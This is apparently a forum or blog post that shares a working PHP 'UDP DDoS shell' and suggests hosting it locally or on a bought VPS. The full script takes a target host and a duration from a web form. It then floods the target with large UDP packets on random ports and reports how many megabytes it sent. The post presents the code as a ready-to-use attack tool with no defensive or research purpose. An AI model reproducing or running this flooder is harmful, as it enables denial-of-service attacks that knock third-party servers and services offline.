Today I will share with you a UDP DDoS shell coded in PHP. It attacks via socket by sending multiple UDP packets. To use it you can host it on your own computer using Wamp, or you can buy a dedicated VPS server and host it there. The strength of the attack also depends on the bandwith available on the server you are hosting it on and it also depends on the bandwith of the host you are attacking.
UDP Shell Code (PHP)
UDP Shell Code (PHP)
<?php
error_reporting(0);
if(isset($_GET['host']) && isset($_GET['time'])){
$packets = 0;
ignore_user_abort(true);
$exec_time = intval($_GET['time']);
$time = time();
$max_time = $time + $exec_time;
$host = $_GET['host'];
for($i = 0; $i < 65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1, 65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo 'ATTACK SENT! You sent '.round(($packets * 65)/ 1024, 2).'MB(s)';
echo '<form action="?" method="GET">
<input name="act" value="phptools" /><br />
<input name="host" placeholder="Host" /><br />
<input name="time" placeholder="Time" /><br />
<input value="Start Attack" />
</form>';
} else {
echo '<form action="?" method="GET">
<input name="act" value="phptools" /><br />
<input name="host" placeholder="Host" /><br />
<input name="time" placeholder="Time" /><br />
<input value="Start Attack" />
</form>';
}
?>